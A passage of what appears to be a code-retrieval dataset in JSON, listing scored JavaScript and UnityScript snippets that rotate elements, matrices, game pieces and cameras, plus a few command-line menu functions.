rotation + \"deg)\";\n }\n }\n } else {\n // increment the rotation variable\n rotation++;\n\n // update the element\n content.style.transform = \"rotateX(\" + rotation + \"deg)\";\n }\n }\n}", "title": "" }, { "docid": "5104c6ca9d5ad0c06a57dc043e743222", "score": "0.62605137", "text": "function rotateImage1(a) {\r\n Array.prototype.rotateRight = function( a ) {\r\n this.unshift.apply( this, this.splice( a, this.length ) )\r\n return this;\r\n}\r\n}", "title": "" }, { "docid": "bc6d66dee8db85b0a074ed9f396ecf8c", "score": "0.6257915", "text": "getRotation() {\n return Math.atan2(this.m10(), this.m00());\n }", "title": "" }, { "docid": "4a35dce612b26c4d2f61d5a8b616cb59", "score": "0.62503016", "text": "function A(e,n,t){p(),e=B(e);var i=M(e,n,t);H.changes.push({type:\"rotatepage\",index:e,angle:n}),$.trigger({type:K.rotated,index:e,page:i,angle:n})}", "title": "" }, { "docid": "9d0f7a9a5a054d2a38f5cd50ef3bd748", "score": "0.62270457", "text": "function rotate() {\n if (gameOver == false) {\n document.querySelector(\".wheel\").style.transform = `rotate(${deg}deg)`;\n i++;\n deg = rotOrder[i];\n }\n\n currentDifficulty = sequence[i - 1];\n\n if (spinsLeft <= 0) {\n gameOver = true;\n endGame();\n }\n}", "title": "" }, { "docid": "a1db555e0003b9552ac5c3266d7a327e", "score": "0.62249357", "text": "rotate(direction) {\r\n let validMove = false\r\n if (direction == \"left\") {\r\n //three clockwise rotations are equivilant to a counterclockwise rotation\r\n let rotationIterationArray = new Array(3)\r\n rotationIterationArray[0] = this.createElement(this.currentElement.clockwiseRotation, this.currentElement.position.row, this.currentElement.position.column)\r\n //evaluate equivilant three rotations\r\n for (let i = 0; i <= 1; i++) {\r\n rotationIterationArray[i + 1] = this.createElement(rotationIterationArray[i].clockwiseRotation, rotationIterationArray[i].position.row, rotationIterationArray[i].position.column)\r\n }\r\n this.clearBoardElement(this.currentElement)\r\n //rotations not permitted if tile has reached bottom\r\n if (this.noCollision(rotationIterationArray[2]) & this.hasSpaceDown()) {\r\n this.insertElement(rotationIterationArray[2])\r\n this.currentElement = rotationIterationArray[2]\r\n validMove = true\r\n } else {\r\n this.insertElement(this.currentElement)\r\n }\r\n }\r\n if (direction == \"right\") {\r\n let potentialRotation = this.createElement(this.currentElement.clockwiseRotation, this.currentElement.position.row, this.currentElement.position.column)\r\n this.clearBoardElement(this.currentElement)\r\n //rotations not permitted if tile has reached bottom\r\n if (this.noCollision(potentialRotation) & this.hasSpaceDown()) {\r\n this.insertElement(potentialRotation)\r\n this.currentElement = potentialRotation\r\n validMove = true\r\n } else {\r\n this.insertElement(this.currentElement)\r\n }\r\n }\r\n if (validMove) {\r\n //if a valid move, notify game event change listeners the board has changed\r\n for (let i = 0; i < this.changeListeners.length; i++) {\r\n this.changeListeners[i](this.state)\r\n }\r\n }\r\n }", "title": "" }, { "docid": "20dbf10e497397ac39087617a28481eb", "score": "0.6219266", "text": "setRotation(rotation){\n let letters = this.shadowRoot.querySelectorAll(\".animatedLetter\");\n letters.forEach(letter => {\n letter.style.transform = \"rotate(\" + rotation + \"deg)\"\n });\n }", "title": "" }, { "docid": "4fa9d95a5b08fc0d3155759631466623", "score": "0.6218101", "text": "function spin(){\n\t\tif(rotation < target-3 || rotation > target+5){\n\t\t\trotation = parseInt(rotation + speed);\n\t\t\tif(speed < 6)\n\t\t\t\tspeed +=0.2;\n\t\t\tif(rotation >= 360)\n\t\t\t\trotation = 0;\n\t\t\tdiv = document.getElementById(\"wheel\");\n\t\t\tdiv.style.webkitTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.mozTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.msTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.oTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.transform = 'rotate('+rotation+'deg)'; \n\t\t}\n\t\telse{\n\t\t\trotation = target;\n\t\t\tdiv = document.getElementById(\"wheel\");\n\t\t\tdiv.style.webkitTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.mozTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.msTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.oTransform = 'rotate('+rotation+'deg)'; \n\t\t\tdiv.style.transform = 'rotate('+rotation+'deg)'; \n\t\t\tclearInterval(intervalFunc);\n\t\t}\n\t}", "title": "" }, { "docid": "2a5edfdf43734ded81f2a135514593c2", "score": "0.6217386", "text": "function rotate(v, t) {\n var ct = Math.cos(t);\n var st = Math.sin(t);\n return make(ct * v.x - st * v.y, st * v.x + ct * v.y);\n}", "title": "" }, { "docid": "0dcffce7b3ffeeaf4342720a19d5bb1e", "score": "0.6210174", "text": "function myRotate(oldUniform, axis, theta)\n{\n\tvar newUniform;\n\tvar rotateMatrix;\n\t\n\tswitch( axis ) {\n case 'X':\n\t\t\trotateMatrix = mat4(1.0, 0.0, 0.0, 0.0,\n\t\t\t\t\t\t\t\t0.0, Math.cos(theta), -Math.sin(theta), 0.0,\n\t\t\t\t\t\t\t\t0.0, Math.sin(theta), Math.cos(theta), 0.0,\n\t\t\t\t\t\t\t\t0.0, 0.0, 0.0, 1.0);\n break;\n case 'Y':\n\t\t\trotateMatrix = mat4(Math.cos(theta), 0.0, Math.sin(theta), 0.0,\n\t\t\t\t\t\t\t\t0.0, 1.0, 0.0, 0.0,\n\t\t\t\t\t\t\t\t-Math.sin(theta), 0.0, Math.cos(theta), 0.0,\n\t\t\t\t\t\t\t\t0.0, 0.0, 0.0, 1.0);\n break;\n case 'Z':\n rotateMatrix = mat4(Math.cos(theta), -Math.sin(theta), 0.0, 0.0,\n\t\t\t\t\t\t\t\tMath.sin(theta), Math.cos(theta), 0.0, 0.0,\n\t\t\t\t\t\t\t\t0.0, 0.0, 1.0, 0.0,\n\t\t\t\t\t\t\t\t0.0, 0.0, 0.0, 1.0);\n break;\n }\n\n\tnewUniform = mult(oldUniform, rotateMatrix);\n\t\n\treturn newUniform;\n}", "title": "" }, { "docid": "1ca7bc3ca2a41685f71694f876013670", "score": "0.6194633", "text": "function un_rotated(elem)\n \t{\n \t\tif ($(elem).hasClass(\"rotated-10\"))\n \t\t{ \t\t\n \t\t\t$(elem).removeClass(\"rotated-10\",5000, \"linear\");\n\t\t }\n \t}", "title": "" }, { "docid": "9546fa5634ad2383a59a11c538ce20ea", "score": "0.6192026", "text": "function frame2() {\n // if the elements are rotated 0 degrees\n if (rotation == 0) {\n clearInterval(interval2);\n } else {\n // increment the rotation variable\n rotation--;\n\n // update the element\n content.style.transform = \"rotateX(\" + rotation + \"deg)\";\n }\n }", "title": "" }, { "docid": "487ec12ccb41586fdb23d541be018908", "score": "0.6189842", "text": "set rotation(aVal) {\n this._currentRotation = aVal % 360;\n if (this._currentRotation < 0) {\n this._currentRotation += 360;\n }\n return this._currentRotation;\n }", "title": "" }, { "docid": "aeb3ccf663ac5379742a75ad1c2f87f6", "score": "0.61848634", "text": "function randomRotate(element,min,max) {\n\n // First generate a random integer between 0 and the maximum\n rotation = randomIntegerInRange(min,max);\n\n // Now set the supplied element's transform property to rotate it\n // around the Z axis by the random amount\n element.css({\n \"transform\": \"rotateZ(\" + rotation + \"deg)\"\n });\n\n // Notice how we DON'T need to return the element in this case.\n // This is a special case when working with OBJECTS.\n // When they get passed to a function, you can do stuff to them\n // in the function that actually affects them.\n // (It's not necessarily great programming practice to do this\n // all the time!)\n}", "title": "" }, { "docid": "29e3355729591f8cd86440f48892e681", "score": "0.61791277", "text": "function rotateAnimation()\n {\n\t\n\tvar crabLimbs=[lap1LeftMatrix,foot1LeftMatrix, lap1RightMatrix, foot1RightMatrix,lap2LeftMatrix,lap2RightMatrix,\n\t\t\tlap3LeftMatrix,lap3RightMatrix,foot2LeftMatrix,foot3LeftMatrix, foot2RightMatrix, \n\t\t\tfoot3RightMatrix,plierLeftMatrix,plierRightMatrix];\n\tif(degree_plus==1)\n\t{\n\t\trotated_degree++;\n\t\tif(rotated_degree>10)\n\t\t{\n\t\t\tdegree_plus=-1;\n\t\t}\n\n\t}\n\telse\n\t{\n\t\trotated_degree--;\n\t\tif(rotated_degree<0)\n\t\t{\n\t\t\tdegree_plus=1;\n\t\t}\t\t\n\t}\n\tfor(var i=0;i<crabLimbs.length;i++)\n\t{\n\t\tcrabLimbs[i]=mat4.rotate(crabLimbs[i],degToRad(degree_plus),[0,0,1]);\n\n\t}\n\n }", "title": "" }, { "docid": "e08cb3efc6e787a2d30a9910b09ac87c", "score": "0.6159202", "text": "function rotate(object, name, keyCode){\n if (name == \"hip\") {\n var hipAngle = object.rotation.y;\n\n if (keyCode == 189 && hipAngle > -Math.PI / 2 )\n object.rotation.y -= Math.PI / 60;\n else if (keyCode == 187 && hipAngle < Math.PI / 2)\n object.rotation.y += Math.PI / 60;\n }\n else if (name == \"knee\") {\n var kneeAngle = object.rotation.y;\n\n if (keyCode == 189 && kneeAngle > -Math.PI / 2)\n object.rotation.y -= Math.PI / 45;\n else if (keyCode == 187 && kneeAngle < 0)\n object.rotation.y += Math.PI / 45;\n }\n else if (name == \"ankle\") {\n var ankleAngle = object.rotation.y;\n\n if (keyCode == 189 && ankleAngle > -Math.PI / 3)\n object.rotation.y -= Math.PI / 45;\n else if (keyCode == 187 && ankleAngle < Math.PI / 3)\n object.rotation.y += Math.PI / 45;\n }\n else if (name == \"neck\") {\n var headAngle = object.rotation.z;\n if (keyCode == 189 && headAngle > -Math.PI / 2)\n object.rotation.z -= Math.PI / 45;\n else if (keyCode == 187 && headAngle < Math.PI / 2)\n object.rotation.z += Math.PI / 45;\n }\n else {\n var tailAngle = object.rotation.z;\n if (keyCode == 187 && tailAngle > -Math.PI / 2)\n object.rotation.z -= Math.PI / 45;\n else if (keyCode == 189 && tailAngle < Math.PI / 2)\n object.rotation.z += Math.PI / 45;\n }\n}", "title": "" }, { "docid": "313d7af954581aa73f91d3186a41241b", "score": "0.6154097", "text": "function startRotation(Element : int)\n{\n var renderer : SpriteRenderer = GameObject.Find(\"EnzoWheelEnzo\" + currentSelection).GetComponent(\"SpriteRenderer\");\n renderer.sprite = sprites[Element]; \n \n results[currentSelection] = Element;\n\n currentSelection++;\n rotating = true;\n StartCoroutine(rotateCircle());\n}", "title": "" }, { "docid": "2ed2d6565adfe3cebd9c95b81beb5049", "score": "0.61521214", "text": "function second_hand() {\n seconds += 6;\n var ref = document.getElementsByClassName(\"seconds_hand\")[0];\n ref.style.transform = \"rotate(\" + seconds + \"deg)\";\n ref.style.transformOrigin = \"top left\";\n\n}", "title": "" }, { "docid": "71954f5a7b737a8ff1b122dfdcd74a7a", "score": "0.61463153", "text": "rotate(q, inplace=true)\r\n\t{\r\n\t\t\r\n\t}", "title": "" }, { "docid": "e5ec29f1fdfe9c0eb1d77341f0c6ebb9", "score": "0.6137955", "text": "function RotorRotation ()\n{\n\tif(vRotor != null)\n\t{\n\t\tvRotor.transform.Rotate(Vector3.up * Time.deltaTime * vRotorRPM, Space.Self);\n\t}\n\tif(vRotorBack != null)\n\t{\n\t\tvRotorBack.transform.Rotate(Vector3.right * Time.deltaTime * vRotorRPM, Space.Self);\n\t}\n}", "title": "" }, { "docid": "8a363573ae60f317181b52b7bb2bee15", "score": "0.6123713", "text": "function rotate(x) {\n ctx.rotate(x);\n}", "title": "" }, { "docid": "9042c5396cb64bd685479d0545da5fc4", "score": "0.6119056", "text": "function apply_rotation()\n\t{\n\t\tif ( proper.rotation > 0 ) {\n\t\t\tscreen.game\n\t\t\t\t.translate( bounds.x + T.origin.x, bounds.y + T.origin.y )\n\t\t\t\t.rotate( proper.rotation * Math.DEG_TO_RAD );\n\t\t}\n\t}", "title": "" }, { "docid": "7ca1eefc3ff7332e655fbb80c60c6ecd", "score": "0.61062044", "text": "function c(){var t=s();return 90===L._viewrotation||270===L._viewrotation?B(t):t}", "title": "" }, { "docid": "223b57dbb136f6ab44c3188f9783bcad", "score": "0.6104856", "text": "function rotateCD() {\n let cd = e('.rotated-cd')\n if(cd.interval === undefined) {\n cd.interval = null\n }\n if(cd.degree === undefined) {\n cd.degree = 0\n }\n e(\"#id-gan\").classList.add('gan-playing')\n clearInterval(cd.interval)\n cd.interval = setInterval(function() {\n cd.degree = (cd.degree + 0.25) % 360\n cd.style.transform = `rotateZ(${cd.degree}deg)`\n }, 20)\n}", "title": "" }, { "docid": "4005262c06cea1adbeb699c528dfb911", "score": "0.60951114", "text": "function rotate() {\n undraw()\n currentRotation++\n if (currentRotation === current.length) {\n currentRotation = 0\n }\n current = Shapes[random][currentRotation]\n draw()\n }", "title": "" }, { "docid": "201993f7fb610d457d566290b9c0feaa", "score": "0.6094364", "text": "function u(){var t=c();return 90===L._viewrotation||270===L._viewrotation?B(t):t}", "title": "" }, { "docid": "a6d9132f405538ecfda36c2703099320", "score": "0.6084753", "text": "rotateClockwise() {\n for (let block of this.shape) {\n let temp = block[1];\n block[1] = block[0];\n block[0] = -temp;\n }\n }", "title": "" }, { "docid": "4c6d35ae9d26130fe0a1f6d711264008", "score": "0.6052643", "text": "rotate( axis, amount ) {\n this.dir.applyAxisAngle( axis, amount )\n }", "title": "" }, { "docid": "158c33c1a733ca01f0afa56bcc807d29", "score": "0.6048343", "text": "function rotate(e) {\n\n // Group all the pixels together\n let pixels = document.getElementsByClassName(\"pixel\");\n\n // Only rotate if they pressed right arrow key\n\n if (e.keyCode === 39) {\n\n rotation++;\n\n console.log(`Are we rotating clockwise?`);\n\n\n }\n\n // Only rotate if they pressed left arrow key\n\n if (e.keyCode === 37) {\n\n rotation--;\n\n // pixel.style.transform = `rotate(-10deg)`;\n\n console.log(`Are we rotating counter-clockwise?`);\n\n\n }\n\n // Get all the pixels into an array (getElementsByClassName)\n // Loop through all the pixels in the array\n // For each one, set its style.transform to be rotated by \"rotation\" degrees\n\n\n setTimeout(resetPixel, 2000, pixel);\n\n}", "title": "" }, { "docid": "b0d9d14f2430cf36fae738f69b33ad42", "score": "0.6037993", "text": "function rotate(f){\n return function rotated(){\n return apply(f, _rotate(arguments));\n }\n}", "title": "" }, { "docid": "7c0030194fb350b4efb72b312c41d97a", "score": "0.6025868", "text": "rotate() {\n let nextPattern = this.tetromino[(this.tetrominoN + 1) % this.tetromino.length];\n let kick = 0;\n\n if (this.HitWall(0, 0, nextPattern)) {\n if (this.x > COL / 2) {\n //When the piece is on the right border\n kick = -1; //we move the piece to the left\n } else {\n //When the piece is on the left border\n kick = 1; //we move the piece to the right\n }\n }\n\n if (!this.HitWall(kick, 0, nextPattern)) {\n this.unDraw();\n this.x += kick;\n this.tetrominoN = (this.tetrominoN + 1) % this.tetromino.length; // (0+1)%4 => 1\n this.activeTetromino = this.tetromino[this.tetrominoN];\n this.draw();\n }\n }", "title": "" }, { "docid": "13a0f64f0d79af60ae1c467b6ac72f1c", "score": "0.60246015", "text": "function rotate(value, tween, isAbsolute) {\n if (sniff(value) == 'number') {\n var targetVal = isAbsolute ? value : rotation + value;\n \n if (tween) {\n rotateTween = Tweener.tween([rotation], [targetVal], tween, function() {\n rotation = targetVal % 360;\n rotateTween = null;\n viewChanges++;\n });\n }\n else {\n rotation = targetVal % 360;\n viewChanges++;\n } // if..else\n \n return _this;\n }\n else {\n return rotation;\n } // if..else\n }", "title": "" }, { "docid": "f05b9f97d321044cac0f2595678cc8ba", "score": "0.60237813", "text": "function setRotate(nodeObj,r,szAttributeName){\n\tif ( !szAttributeName ){\n\t\tszAttributeName = \"transform\";\n\t}\n\tif (nodeObj){\n\t\tvar fRotateFound = false;\n\t\tvar szNewTransform = \"\";\n\t\tvar szTransform = nodeObj.getAttributeNS(null,szAttributeName);\n\t\tvar szTransformA = szTransform?szTransform.split(\")\"):new Array(0);\n\t\tfor ( var i=0; i<szTransformA.length; i++ ){\n\t\t\tif ( szTransformA[i].match(/rotate/) ){\n\t\t\t\tszNewTransform = szNewTransform + \" rotate(\"+r+\")\";\n\t\t\t\tfRotateFound = true;\n\t\t\t}\n\t\t\telse if ( szTransformA[i].length > 3 ){\n\t\t\t\tszNewTransform = szNewTransform + \" \" + szTransformA[i] + \")\";\n\t\t\t}\n\t\t}\n\t\tif ( !fRotateFound ){\n\t\t\tszNewTransform = szNewTransform + \" rotate(\"+r+\")\";\n\t\t}\n\t\tnodeObj.setAttributeNS(null,szAttributeName,szNewTransform);\n\t}\n}", "title": "" }, { "docid": "6d6468408add74e77cc4df3e30b878c2", "score": "0.6015391", "text": "function rotate(arr,rotation){\n for (var i=0; i<rotation; i++){\n var temp = arr[arr.length-1];\n for (var count=arr.length-1; count>0; count--){\n arr[count] = arr[count-1];\n }\n arr[0] = temp;\n }\n console.log(arr);\n}", "title": "" }, { "docid": "62c748a79cb83a4a876fcd6e04b0491f", "score": "0.6011005", "text": "function rotateClock() {\n updateCopyImage(); \n rotation += 90;\n newSize(imageWidth, imageHeight, rotation);\n rotate();\n }", "title": "" }, { "docid": "2bfa073bef6c4cc8ba8aba6b9d71b86c", "score": "0.60101724", "text": "function CamRotate(rot : Vector3){\n\t// horizontal rotate \n transform.Rotate(0, rot.y, 0);\n\n\t// When the camera is rotated vertically, to order to maintain horizontal, \n\t// rotate __cam instead of camSub.\n var currentRotateAngle : float = camSub.localRotation.eulerAngles.x;\n currentRotateAngle += rot.x;\n\t// limit rotation 0 to 60.\n if(currentRotateAngle >= 60) currentRotateAngle = 60;\n else if(currentRotateAngle <= 0) currentRotateAngle = 0;\n camSub.localRotation = Quaternion.Euler(currentRotateAngle, 0, 0);\n}", "title": "" }, { "docid": "ce97b1057edecc80d76d845ce84d55d2", "score": "0.6009934", "text": "function rotate(e) {\n if (e.target === forward) {\n resetCircle();\n x += 1;\n if (x >= list.length) {\n x = 0;\n updateImg();\n }\n updateImg();\n } else if (e.target === back) {\n resetCircle();\n x -= 1;\n if (x < 0) {\n x = list.length - 1;\n updateImg();\n }\n updateImg();\n }\n}", "title": "" }, { "docid": "839341e4f55120a5b5088c59910140e3", "score": "0.6008692", "text": "addRotationAmount(rotation){\r\n\t\tthis.rotation.x+=rotation.x;\r\n\t\tthis.rotation.y+=rotation.x;\r\n\t\tthis.rotation.z+=rotation.x;\r\n\t}", "title": "" }, { "docid": "77e0269f808d1821b5abb3d6ddf0bb1c", "score": "0.60005254", "text": "function rotate(s) {\n //check if the falling shape is square or not\n if (s === Shapes.Square)\n return;\n //rotating the shape if not square\n s.pos.forEach(function (row) {\n var tmp = row[0];\n row[0] = row[1];\n row[1] = -tmp;\n });\n}", "title": "" }, { "docid": "016a3006257d43d5311b114ac1af019b", "score": "0.59874314", "text": "function rotatePlayer() {\n transform.rotation = Quaternion.LookRotation(Vector3.right*xMovement);\n\txTime = 0;\n}", "title": "" }, { "docid": "01f825c185da2dea73d8c668c779590b", "score": "0.598121", "text": "function startRotation()\r\n{\r\n document.getElementById('placeholder').src= \"images/\"+ imageArray[5];\r\n setInterval('rotate()', 2000);\r\n}", "title": "" }, { "docid": "c0ac44086dfc7e444282901c2831d8cf", "score": "0.59798384", "text": "function rotate() {\n if(spaceLeft() && spaceRight()) {\n undraw();\n currentRotation = (currentRotation+1)%4;\n currentTet = typesArr[currType][currentRotation];\n if(currentTet.some(index => squaresArr[currentPosition + index].classList.contains('frozen'))) {\n currentRotation = (currentRotation-1)%4;\n currentTet = typesArr[currType][currentRotation];\n draw();\n }\n else {\n draw();\n }\n }\n}", "title": "" }, { "docid": "102c7e691e192819fb650b8c529a58ac", "score": "0.5978372", "text": "function cameraRotate(){\n cameraPos = cameraPos + 1;\n cameraPos = cameraPos % 2;\n for (var i in cameras){\n if (cameraPos == 0){document.getElementById('stream'+i.toString()).className=\"\"}\n if (cameraPos == 1){document.getElementById('stream'+i.toString()).className=\"rotateimg180\"}\n };\n}", "title": "" }, { "docid": "10ba136b75e05ec8231a678b5b194ff0", "score": "0.5976293", "text": "function constructAffineFixingRotation(elem, posOffset) {\n var rawTrans = helpers.getElementTransform(elem);\n var matr;\n if(!rawTrans) {\n matr = new PureCSSMatrix();\n } else {\n matr = new PureCSSMatrix(rawTrans);\n }\n\n if(posOffset) {\n matr = matr.translate(posOffset.x,posOffset.y);\n }\n\n var current_affine = affineTransformDecompose(matr);\n current_affine.r = getTotalRotation(rawTrans);\n return current_affine;\n }", "title": "" } ]
9849e6130d9cdbfd89f5466c9b8fa6a4
the function that will show the user the options in the main menu
[ { "docid": "b15be9c5d4ac30a11099d3de57a9a7bb", "score": "0.7356794", "text": "showMainMenuOptions(){\n return prompt(`\n Welcome to Pokémon Dream Team Maker!\n\n 0) Exit\n 1) Create a new Pokémon team\n 2) View a Pokémon team\n 3) Delete a Pokémon team\n 4) Display all Pokémon teams\n\n PS: Plz dont sue me Nintendo also if you know nothing about \n Pokémon this is a weird one\n `)\n }", "title": "" } ]
[ { "docid": "9c226b865d774b7329a2ec29fe8d48f3", "score": "0.7624273", "text": "function charity_is_hope_options_action_show_menu(obj) {\n}", "title": "" }, { "docid": "2a66c10a33ba615786aefc83552cfc87", "score": "0.7349757", "text": "function displayOptions() {\n\tinquirer\n\t.prompt({\n\t\tname: \"action\",\n\t\ttype: \"list\",\n\t\tmessage: \"What would you like to do ?\",\n\t\tchoices: [\n\t\t \"View Products for Sale\",\n\t\t \"View Low Inventory\",\n\t\t \"Add to Inventory\",\n\t\t \"Add New Product\",\n\t\t \"Exit\"\n\t\t]\n\t})\n\t.then(function(answer) {\n\t\tswitch (answer.action) {\n\n\t\t case \"View Products for Sale\" :\n\t\t\t \tviewProducts();\n\t\t\t \tbreak;\n\n\t\t case \"View Low Inventory\" :\n\t\t\t \tviewLowInventory();\n\t\t \t\tbreak;\n\n\t\t case \"Add to Inventory\" :\n\t\t\t \taddToInventory();\n\t\t\t \tbreak;\n\n\t\t case \"Add New Product\" :\n\t\t\t \tconsole.log(\"\tAdd New Product\");\n\t\t \t\taddNewProduct();\n\t\t \t\tbreak;\n\n\t\t case \"Exit\" :\n\t\t \t\tconnection.end();\n\t\t \t\tbreak;\n\t\t}\n\t});\n}", "title": "" }, { "docid": "fc39e5fdcb41065f51084a1e960c40f6", "score": "0.7296199", "text": "function menu_options(connection){\n\tcl('\\n');\n\tinquirer.prompt({\n\t\ttype: 'list',\n\t\tname: 'option',\n\t\tmessage: coloring.green('****** MENU OPTIONS *****\\n'),\n\t\tchoices: ['View Products for Sale', 'View Low Inventory', 'Add to Inventory', 'Add New Product', 'Exit Manager Wizard']\n\t}).then(function(answer){\n\t\tswitch(answer.option){\n\t\t\tcase 'View Products for Sale':\n\t\t\t\tview_data(connection);\n\t\t\t\tbreak;\n\t\t\tcase 'View Low Inventory':\n\t\t\t\tlow_inventory(connection);\n\t\t\t\tbreak;\n\t\t\tcase 'Add to Inventory':\n\t\t\t\tadd_Inventory(connection);\n\t\t\t\tbreak;\n\t\t\tcase 'Add New Product':\n\t\t\t\tadd_new_product(connection);\n\t\t\t\tbreak;\n\t\t\tcase 'Exit Manager Wizard':\n\t\t\t\tdisconnect(connection);\n\t\t\t\tbreak;\n\t\t}\n\n\t});\n}", "title": "" }, { "docid": "84403175888fbcdb78a34a644079a25f", "score": "0.7289228", "text": "function showMenu() {\n\tconsole.log('\\n');\n\tinquirer\n\t\t.prompt([\n\t\t\t{\n\t\t\t\tname: 'menuItem',\n\t\t\t\tmessage:\n\t\t\t\t\t'Please select an option:',\n\t\t\t\ttype: 'list',\n\t\t\t\tchoices: [\n\t\t\t\t\t'1. Show all products',\n\t\t\t\t\t'2. Make a purchase',\n\t\t\t\t\t'3. Make a return',\n\t\t\t\t\t\n\t\t\t\t],\n\t\t\t},\n\t\t])\n\t\t.then(answer => {\n\t\t\tswitch (answer.menuItem) {\n\t\t\t\tcase '2. Make a purchase':\n\t\t\t\t\tbuy_ID();\n\t\t\t\t\tbreak;\n\t\t\t\tcase '3. Make a return':\n\t\t\t\t\treturnGetID();\n\t\t\t\t\tbreak;\n\t\t\t\tcase '1. Show all products':\n\t\t\t\t\tviewProducts();\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tconsole.log('That is not an option');\n\t\t\t}\n\t\t});\n}", "title": "" }, { "docid": "1ad2d9d55a54116fe2f438a8b4965683", "score": "0.7250227", "text": "function displayOptions() {\n\tinquirer\n\t.prompt({\n\t\tname: \"action\",\n\t\ttype: \"list\",\n\t\tmessage: \"What would you like to do ?\",\n\t\tchoices: [\n\t\t \"View Products Sales by Department\",\n\t\t \"Create New Department\",\n\t\t \"Exit\"\n\t\t]\n\t})\n\t.then(function(answer) {\n\t\tswitch (answer.action) {\n\n\t\t case \"View Products Sales by Department\" :\n\t\t\t \tprodSalesByDept();\n\t\t\t \tbreak;\n\n\t\t case \"Create New Department\" :\n\t\t\t \taddNewDept();\n\t\t \t\tbreak;\n\n\t\t case \"Exit\" :\n\t\t \t\tconnection.end();\n\t\t \t\tbreak;\n\t\t}\n\t});\n}", "title": "" }, { "docid": "bb65bd6ee1d0669583d61069b6a98b63", "score": "0.7220405", "text": "function displayMenu() {\n var options = [\n 'Exit the program',\n 'Matrix Addition',\n 'Matrix Subtraction',\n 'Extract Matrix Diagonal',\n 'Matrix Transpose'\n ];\n\n options.forEach((elem, index) => {\n console.log(chalk.blue(`${index}. ${elem}`));\n });\n\n\n}", "title": "" }, { "docid": "c35d5bdbf4c83fcb932729adc1e1cbe5", "score": "0.719555", "text": "function menuOptions() {\n inquirer\n .prompt({\n name: \"option\",\n type: \"list\",\n message: \"Welcome! Please select an option!\",\n choices: [\n \"View Product Sales by Department\",\n \"Create New Department\"\n ]\n })\n .then(function (answer) {\n switch (answer.option) {\n case \"View Product Sales by Department\":\n viewSales();\n break;\n\n case \"Create New Department\":\n createDepartment();\n break;\n }\n });\n}", "title": "" }, { "docid": "0032f637891f80d96afa458f4d78b780", "score": "0.71792674", "text": "function showMenu() {\n // TODO - show the menu\n}", "title": "" }, { "docid": "9685f104d019b37f81b10ce19b7ade84", "score": "0.70920897", "text": "function menu() {\n // link the options and the functions they will lead to here so we don't need a switch later\n const listOptionsFunctions = {\n \"View Products for Sale\": viewProducts,\n \"View Low Inventory\": viewLowInventory,\n \"Add to Inventory\": addtoInventory,\n \"Add New Product\": addNewProduct\n };\n // the listed options are the keys of the above object\n const listOptions = Object.keys(listOptionsFunctions);\n inquirer.prompt([\n {\n name: \"selectedOption\",\n message: \"What would you like to do?\",\n type: \"list\",\n choices: listOptions\n }\n ]).then(function(answer) {\n // grab the function from the options/functions object and then run it\n const func = listOptionsFunctions[answer.selectedOption];\n func();\n });\n}", "title": "" }, { "docid": "e1b8f4b543ab88e9bee001eb56f8e8b9", "score": "0.7021911", "text": "function showMenu() {\n console.log(\"0: Translate to plaintext\\n1: Translate to PCMorse\\n\\nEnter option:\");\n}", "title": "" }, { "docid": "bbadaf534b0f8b1a6e0a1b02766664aa", "score": "0.69919986", "text": "function displayManagerOptions() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"Management Options:\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\", \"EXIT\"]\n }\n ]).then(function (res) {\n switch (res.choice) {\n case \"View Products for Sale\":\n viewProducts();\n break;\n case \"View Low Inventory\":\n viewLowInventory();\n break;\n case \"Add to Inventory\":\n addToInventory();\n break;\n case \"Add New Product\":\n addNewProduct();\n break;\n case \"EXIT\":\n console.log(\"Goodbye...\");\n connection.end();\n break;\n }\n });\n}", "title": "" }, { "docid": "b1ae29f83b17d7370b036b70fed0e8ba", "score": "0.69634354", "text": "function displayOptions() {\n if (gameState === \"options\") {\n image(optionsBackground, width/2, height/2, width, height);\n instructionsButton.show();\n soundOptionButton.show();\n backOptionButton.show();\n if (instructionsButton.isClicked() && ButtonReady) {\n gameState = \"instructions\";\n }\n if (soundOptionButton.isClicked() && ButtonReady) {\n soundMute = !soundMute;\n ButtonReady = false;\n }\n if (backOptionButton.isClicked() && ButtonReady) {\n gameState = \"menu\";\n }\n }\n}", "title": "" }, { "docid": "5b8824c2d522a8695ccd82cb836719b3", "score": "0.69335794", "text": "function Venus() {}", "title": "" }, { "docid": "4ea2e9f7c1b6ba01b306be96c1e5e4c3", "score": "0.6925338", "text": "function onOptionsHelp () { ui().modal.optionsHelp() }", "title": "" }, { "docid": "762e34503e05903f9a8812c03c83bdd8", "score": "0.6921785", "text": "function menu() {\n inquirer.prompt({\n type: \"list\",\n name: \"selection\",\n message: \"\\nPlease select an action, \" + currentUser + \".\",\n choices: [\"Show inventory\", \"View product sales by department\", \"Create new department\", \"Exit\"]\n }).then(function (answers) {\n if (answers.selection === \"Show inventory\") {\n readAllData();\n } else if (answers.selection === \"View product sales by department\") {\n viewDeptSales();\n } else if (answers.selection === \"Create new department\") {\n addNewDept();\n } else {\n exitDashboard();\n }\n });\n}", "title": "" }, { "docid": "3cd2e1156deeae7956ecf3b3b3ce12e7", "score": "0.6872933", "text": "function Options(entering){\n if(entering){\n console.log(\"Options Menu\");\n scene = \"ops\";\n console.log(\"Loaded\");\n }\n else {\n console.log(\"Title Screen\");\n scene = \"title\";\n console.log(\"Loaded\");\n }\n}", "title": "" }, { "docid": "429965be8d7bf8f59c3c75eaafee77f0", "score": "0.68601364", "text": "function showMenu(menu) {\n display.clear();\n var text = '';\n\n var p = menu.getParentSelect();\n text += p ? '[' + p.label + ']\\n' : '';\n var c = menu.getCurrentSelect();\n menu.getActiveMenu().forEach(function (m) {\n text += (m.selected ? '>' : ' ') + m.label + '\\n';\n });\n\n// console.log(text);\n display.write(text);\n}", "title": "" }, { "docid": "e4efeebf76ff4cbc46b8a1ccaf413b7e", "score": "0.6848011", "text": "function showMenu() {\n\n inquirer\n .prompt([{\n type: \"list\",\n name: \"supervisorOption\",\n message: \"Please select an option from the list below:\",\n choices: 